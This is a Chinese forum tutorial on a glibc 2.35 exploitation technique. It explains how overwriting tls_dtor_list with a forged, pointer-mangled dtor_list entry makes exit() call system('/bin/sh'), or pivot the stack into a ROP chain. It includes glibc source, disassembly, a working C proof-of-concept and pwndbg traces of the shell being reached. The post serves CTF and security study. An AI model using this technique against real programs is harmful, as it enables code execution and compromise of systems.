首页
社区
课程
招聘
[原创] Glibc-2.35下对tls_dtor_list的利用详解
发表于: 2024-2-15 02:33 14510

[原创] Glibc-2.35下对tls_dtor_list的利用详解

2024-2-15 02:33
14510

在glibc-2.34下,我们常用的 __free_hook、__malloc_hook__realloc_hookexit_hook(dl_rtld_lock_recursive、dl_rtld_unlock_recursive) 被删除,我们想要直接劫持钩子函数来执行one_gadget的打法已经失效。这也导致高版本下,打栈或者利用house of apple2house of cat成了常态,除此之外,还有一种比较少见的类exit_hook利用姿势,即劫持 tls_dtor_list 函数来控制程序执行流

实验环境 Ubuntu GLIBC 2.35-0ubuntu3.4

函数调用链

当程序使用exit函数退出后,会进入 __run_exit_handlers函数

进入 __run_exit_handlers函数后,会首先判断 __call_tls_dtorsrun_dtors是否为空,如果不为空就会调用 __call_tls_dtors函数

进入 __call_tls_dtors 函数后,会检查tls_dtor_list链表是否为空,如果不为空就就将tls_dtor_list链表赋值给dtor_list结构体,并调用其成员变量func函数,它的第一个参数甚至就是另一个成员变量obj

dtor_list结构体原型

从而我们不难得出,如果我们劫持得了tls_dtor_list链表,就可以进入循环并控制dtor_list结构体cur,从而控制其成员变量funcobj,然后实现任意函数执行,并且第一个参数可控!

接下来,我们对着 __call_tls_dtors汇编调挑重点分析该如何利用

对此,易得我们劫持tls_dtor_list触发 system('/bin/sh') 的利用思路:

除此之外,如果题目开了沙箱banexecve,我们还可以栈迁移构造链

因为 __call_tls_dtors+17fs-88(tls_dtor_list)赋值给rbp ,如果我们往 [chunk_addr] 里面填leave_retgadget,那么当执行leave_ret后,rip就会变成 [chunk_addr+8] ,从而执行我们在这后面构造的ROP链!!!

进入 <__call_tls_dtors>

观察目前的信息

运行到 <__call_tls_dtors+61>,可以执行system('/bin/sh')成功getshell

在开了沙盒的题目中,就可以像打栈一样构造orw链来打,非常好用!

执行完 <__call_tls_dtors+17>

观察目前的内存信息

运行到 <__call_tls_dtors+61>

步入

执行完leave;ret后,栈迁移成功,可以执system('/bin/sh')成功getshell

比起house of apple2house of cat等高版本主流打法,利用tls_dtor_list的工作量大大减小,并且可以直接栈迁移构造ROP链,而且由于该打法是在修改fs附近的值,这个依赖的不是libc而是ld的偏移,有时能发挥奇效。

exit
    __run_exit_handlers
        __call_tls_dtors
            func (cur->obj) <--伪造这个
exit
    __run_exit_handlers
        __call_tls_dtors
            func (cur->obj) <--伪造这个
void
exit (int status)
{
  __run_exit_handlers (status, &__exit_funcs, true, true);
}
libc_hidden_def (exit)
void
exit (int status)
{
  __run_exit_handlers (status, &__exit_funcs, true, true);
}
libc_hidden_def (exit)
void
attribute_hidden
__run_exit_handlers (int status, struct exit_function_list **listp,
             bool run_list_atexit, bool run_dtors)
{
  /* First, call the TLS destructors.  */
#ifndef SHARED
  if (&__call_tls_dtors != NULL) // 需要__call_tls_dtors 不为空
#endif
    if (run_dtors) // 需要run_dtors不为空
      __call_tls_dtors (); // 调用 __call_tls_dtors
 
  __libc_lock_lock (__exit_funcs_lock);
void
attribute_hidden
__run_exit_handlers (int status, struct exit_function_list **listp,
             bool run_list_atexit, bool run_dtors)
{
  /* First, call the TLS destructors.  */
#ifndef SHARED
  if (&__call_tls_dtors != NULL) // 需要__call_tls_dtors 不为空
#endif
    if (run_dtors) // 需要run_dtors不为空
      __call_tls_dtors (); // 调用 __call_tls_dtors
 
  __libc_lock_lock (__exit_funcs_lock);
void
__call_tls_dtors (void)
{
  while (tls_dtor_list)
    {
      struct dtor_list *cur = tls_dtor_list;
      dtor_func func = cur->func;
#ifdef PTR_DEMANGLE
      PTR_DEMANGLE (func);
#endif
 
      tls_dtor_list = tls_dtor_list->next;
      func (cur->obj);
 
      /* Ensure that the MAP dereference happens before
     l_tls_dtor_count decrement.  That way, we protect this access from a
     potential DSO unload in _dl_close_worker, which happens when
     l_tls_dtor_count is 0.  See CONCURRENCY NOTES for more detail.  */
      atomic_fetch_add_release (&cur->map->l_tls_dtor_count, -1);
      free (cur);
    }
}
void
__call_tls_dtors (void)
{
  while (tls_dtor_list)
    {
      struct dtor_list *cur = tls_dtor_list;
      dtor_func func = cur->func;
#ifdef PTR_DEMANGLE
      PTR_DEMANGLE (func);
#endif
 
      tls_dtor_list = tls_dtor_list->next;
      func (cur->obj);
 
      /* Ensure that the MAP dereference happens before
     l_tls_dtor_count decrement.  That way, we protect this access from a
     potential DSO unload in _dl_close_worker, which happens when
     l_tls_dtor_count is 0.  See CONCURRENCY NOTES for more detail.  */
      atomic_fetch_add_release (&cur->map->l_tls_dtor_count, -1);
      free (cur);
    }
}
struct dtor_list
{
  dtor_func func; // 8字节
  void *obj;
  struct link_map *map;
  struct dtor_list *next;
};
struct dtor_list
{
  dtor_func func; // 8字节
  void *obj;
  struct link_map *map;
  struct dtor_list *next;
};
Dump of assembler code for function __call_tls_dtors:
   0x00007ffff7c45d60 <+0>:     endbr64
   0x00007ffff7c45d64 <+4>:     push   rbp
   0x00007ffff7c45d65 <+5>:     push   rbx
   0x00007ffff7c45d66 <+6>:     sub    rsp,0x8
   0x00007ffff7c45d6a <+10>:    mov    rbx,QWORD PTR [rip+0x1d401f]        # 0x7ffff7e19d90
   0x00007ffff7c45d71 <+17>:    mov    rbp,QWORD PTR fs:[rbx]
   0x00007ffff7c45d75 <+21>:    test   rbp,rbp
   0x00007ffff7c45d78 <+24>:    je     0x7ffff7c45dbd <__call_tls_dtors+93>
   0x00007ffff7c45d7a <+26>:    nop    WORD PTR [rax+rax*1+0x0]
   0x00007ffff7c45d80 <+32>:    mov    rdx,QWORD PTR [rbp+0x18]
   0x00007ffff7c45d84 <+36>:    mov    rax,QWORD PTR [rbp+0x0]
   0x00007ffff7c45d88 <+40>:    ror    rax,0x11
   0x00007ffff7c45d8c <+44>:    xor    rax,QWORD PTR fs:0x30
   0x00007ffff7c45d95 <+53>:    mov    QWORD PTR fs:[rbx],rdx
   0x00007ffff7c45d99 <+57>:    mov    rdi,QWORD PTR [rbp+0x8]
   0x00007ffff7c45d9d <+61>:    call   rax
   0x00007ffff7c45d9f <+63>:    mov    rax,QWORD PTR [rbp+0x10]
   0x00007ffff7c45da3 <+67>:    lock sub QWORD PTR [rax+0x468],0x1
   0x00007ffff7c45dac <+76>:    mov    rdi,rbp
   0x00007ffff7c45daf <+79>:    call   0x7ffff7c28370 <free@plt>
   0x00007ffff7c45db4 <+84>:    mov    rbp,QWORD PTR fs:[rbx]
   0x00007ffff7c45db8 <+88>:    test   rbp,rbp
   0x00007ffff7c45dbb <+91>:    jne    0x7ffff7c45d80 <__call_tls_dtors+32>
   0x00007ffff7c45dbd <+93>:    add    rsp,0x8
   0x00007ffff7c45dc1 <+97>:    pop    rbx
   0x00007ffff7c45dc2 <+98>:    pop    rbp
   0x00007ffff7c45dc3 <+99>:    ret
End of assembler dump.
Dump of assembler code for function __call_tls_dtors:
   0x00007ffff7c45d60 <+0>:     endbr64
   0x00007ffff7c45d64 <+4>:     push   rbp
   0x00007ffff7c45d65 <+5>:     push   rbx
   0x00007ffff7c45d66 <+6>:     sub    rsp,0x8
   0x00007ffff7c45d6a <+10>:    mov    rbx,QWORD PTR [rip+0x1d401f]        # 0x7ffff7e19d90
   0x00007ffff7c45d71 <+17>:    mov    rbp,QWORD PTR fs:[rbx]
   0x00007ffff7c45d75 <+21>:    test   rbp,rbp
   0x00007ffff7c45d78 <+24>:    je     0x7ffff7c45dbd <__call_tls_dtors+93>
   0x00007ffff7c45d7a <+26>:    nop    WORD PTR [rax+rax*1+0x0]
   0x00007ffff7c45d80 <+32>:    mov    rdx,QWORD PTR [rbp+0x18]
   0x00007ffff7c45d84 <+36>:    mov    rax,QWORD PTR [rbp+0x0]
   0x00007ffff7c45d88 <+40>:    ror    rax,0x11
   0x00007ffff7c45d8c <+44>:    xor    rax,QWORD PTR fs:0x30
   0x00007ffff7c45d95 <+53>:    mov    QWORD PTR fs:[rbx],rdx
   0x00007ffff7c45d99 <+57>:    mov    rdi,QWORD PTR [rbp+0x8]
   0x00007ffff7c45d9d <+61>:    call   rax
   0x00007ffff7c45d9f <+63>:    mov    rax,QWORD PTR [rbp+0x10]
   0x00007ffff7c45da3 <+67>:    lock sub QWORD PTR [rax+0x468],0x1
   0x00007ffff7c45dac <+76>:    mov    rdi,rbp
   0x00007ffff7c45daf <+79>:    call   0x7ffff7c28370 <free@plt>
   0x00007ffff7c45db4 <+84>:    mov    rbp,QWORD PTR fs:[rbx]
   0x00007ffff7c45db8 <+88>:    test   rbp,rbp
   0x00007ffff7c45dbb <+91>:    jne    0x7ffff7c45d80 <__call_tls_dtors+32>
   0x00007ffff7c45dbd <+93>:    add    rsp,0x8
   0x00007ffff7c45dc1 <+97>:    pop    rbx
   0x00007ffff7c45dc2 <+98>:    pop    rbp
   0x00007ffff7c45dc3 <+99>:    ret
End of assembler dump.
//gcc -g -o poc poc.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
unsigned long long rol(unsigned long long value)
{
    return (value << 0x11) | (value >> (64 - 0x11)) & 0xffffffffffffffff;
}
 
int main() {
    unsigned long long fs_base;
    unsigned long long index = 0xffffffffffffffa8;
    unsigned long long tls_dtor_list_addr;
    unsigned long long random_num;
 
    unsigned long long libc_base = &system - 0x50d70;
    unsigned long long *str_bin_sh = libc_base + 0x1d8698;
    asm volatile("mov %%fs:0x0, %0" : "=r"(fs_base));
    printf("fs base address: 0x%llx\n", fs_base);
 
    tls_dtor_list_addr = fs_base - 88;
    random_num = *(unsigned long long *)(fs_base + 0x30);
 
    void *ptr = malloc(0x20);
    *(unsigned long long *)ptr = rol((unsigned long long)&system ^ random_num);
    *(unsigned long long *)(ptr + 8) = str_bin_sh;
    *(unsigned long long *)tls_dtor_list_addr = ptr;
 
    return 0;
}
//gcc -g -o poc poc.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
unsigned long long rol(unsigned long long value)
{
    return (value << 0x11) | (value >> (64 - 0x11)) & 0xffffffffffffffff;
}
 
int main() {
    unsigned long long fs_base;
    unsigned long long index = 0xffffffffffffffa8;
    unsigned long long tls_dtor_list_addr;
    unsigned long long random_num;
 
    unsigned long long libc_base = &system - 0x50d70;
    unsigned long long *str_bin_sh = libc_base + 0x1d8698;
    asm volatile("mov %%fs:0x0, %0" : "=r"(fs_base));
    printf("fs base address: 0x%llx\n", fs_base);
 
    tls_dtor_list_addr = fs_base - 88;
    random_num = *(unsigned long long *)(fs_base + 0x30);
 
    void *ptr = malloc(0x20);
    *(unsigned long long *)ptr = rol((unsigned long long)&system ^ random_num);
    *(unsigned long long *)(ptr + 8) = str_bin_sh;
    *(unsigned long long *)tls_dtor_list_addr = ptr;
 
    return 0;
}
► 0x7ffff7c45d60 <__call_tls_dtors>       endbr64
  0x7ffff7c45d64 <__call_tls_dtors+4>     push   rbp
  0x7ffff7c45d65 <__call_tls_dtors+5>     push   rbx
  0x7ffff7c45d66 <__call_tls_dtors+6>     sub    rsp, 8
  0x7ffff7c45d6a <__call_tls_dtors+10>    mov    rbx, qword ptr [rip + 1d301fh]
  0x7ffff7c45d71 <__call_tls_dtors+17>    mov    rbp, qword ptr fs:[rbx]
  0x7ffff7c45d75 <__call_tls_dtors+21>    test   rbp, rbp
  0x7ffff7c45d78 <__call_tls_dtors+24>    je     7ffff7c45dbdh                 <__call_tls_dtors+93>
   ↓                                                                                                                                                                                         
  0x7ffff7c45dbd <__call_tls_dtors+93>    add    rsp, 8
  0x7ffff7c45dc1 <__call_tls_dtors+97>    pop    rbx
  0x7ffff7c45dc2 <__call_tls_dtors+98>    pop    rbp
► 0x7ffff7c45d60 <__call_tls_dtors>       endbr64
  0x7ffff7c45d64 <__call_tls_dtors+4>     push   rbp
  0x7ffff7c45d65 <__call_tls_dtors+5>     push   rbx
  0x7ffff7c45d66 <__call_tls_dtors+6>     sub    rsp, 8
  0x7ffff7c45d6a <__call_tls_dtors+10>    mov    rbx, qword ptr [rip + 1d301fh]
  0x7ffff7c45d71 <__call_tls_dtors+17>    mov    rbp, qword ptr fs:[rbx]
  0x7ffff7c45d75 <__call_tls_dtors+21>    test   rbp, rbp
  0x7ffff7c45d78 <__call_tls_dtors+24>    je     7ffff7c45dbdh                 <__call_tls_dtors+93>
   ↓                                                                                                                                                                                         
  0x7ffff7c45dbd <__call_tls_dtors+93>    add    rsp, 8
  0x7ffff7c45dc1 <__call_tls_dtors+97>    pop    rbx
  0x7ffff7c45dc2 <__call_tls_dtors+98>    pop    rbp
pwndbg> tls
tls : 0x7ffff7fb8740  // fs地址
 
pwndbg> x/xg 0x7ffff7fb8740-88
0x7ffff7fb86e8: 0x000055555555a6b0  // 覆盖 tls_dtor_list为我们伪造的chunka_addr
 
pwndbg> x/xg 0x7ffff7fb8740+0x30
0x7ffff7fb8770: 0xcd950cd148267019  //  随机数
 
pwndbg> tel 0x55555555a6b0 2
00:0000│ r9 0x55555555a6b0 ◂— 0xe65d7fc6fad39b2a
01:0008│    0x55555555a6b8 —▸ 0x7ffff7dd8698 ◂— 0x68732f6e69622f /* '/bin/sh' */
// 该chunk的pre伪造成加密后的systerm,bk伪造为'/bin/sh'的地址
pwndbg> tls
tls : 0x7ffff7fb8740  // fs地址
 
pwndbg> x/xg 0x7ffff7fb8740-88
0x7ffff7fb86e8: 0x000055555555a6b0  // 覆盖 tls_dtor_list为我们伪造的chunka_addr
 
pwndbg> x/xg 0x7ffff7fb8740+0x30
0x7ffff7fb8770: 0xcd950cd148267019  //  随机数
 
pwndbg> tel 0x55555555a6b0 2
00:0000│ r9 0x55555555a6b0 ◂— 0xe65d7fc6fad39b2a
01:0008│    0x55555555a6b8 —▸ 0x7ffff7dd8698 ◂— 0x68732f6e69622f /* '/bin/sh' */
// 该chunk的pre伪造成加密后的systerm,bk伪造为'/bin/sh'的地址
  0x7ffff7c45d84 <__call_tls_dtors+36>    mov    rax, qword ptr [rbp]
  0x7ffff7c45d88 <__call_tls_dtors+40>    ror    rax, 11h
  0x7ffff7c45d8c <__call_tls_dtors+44>    xor    rax, qword ptr fs:[30h]
  0x7ffff7c45d95 <__call_tls_dtors+53>    mov    qword ptr fs:[rbx], rdx
  0x7ffff7c45d99 <__call_tls_dtors+57>    mov    rdi, qword ptr [rbp + 8]
► 0x7ffff7c45d9d <__call_tls_dtors+61>    call   rax                           <system>
       command: 0x7ffff7dd8698 ◂— 0x68732f6e69622f /* '/bin/sh' */
 
  0x7ffff7c45d9f <__call_tls_dtors+63>    mov    rax, qword ptr [rbp + 10h]
  0x7ffff7c45da3 <__call_tls_dtors+67>    lock sub qword ptr [rax + 468h], 1
  0x7ffff7c45dac <__call_tls_dtors+76>    mov    rdi, rbp
  0x7ffff7c45daf <__call_tls_dtors+79>    call   7ffff7c28370h                 <free@plt>
 
  0x7ffff7c45db4 <__call_tls_dtors+84>    mov    rbp, qword ptr fs:[rbx]
  0x7ffff7c45d84 <__call_tls_dtors+36>    mov    rax, qword ptr [rbp]

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2024-2-25 15:05 被Arahat0编辑 ,原因:
收藏
免费 10
支持
分享
最新回复 (1)
雪    币: 420
活跃值: (324)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
学习
2024-3-12 15:56
0
游客
登录 | 注册 方可回帖
返回
//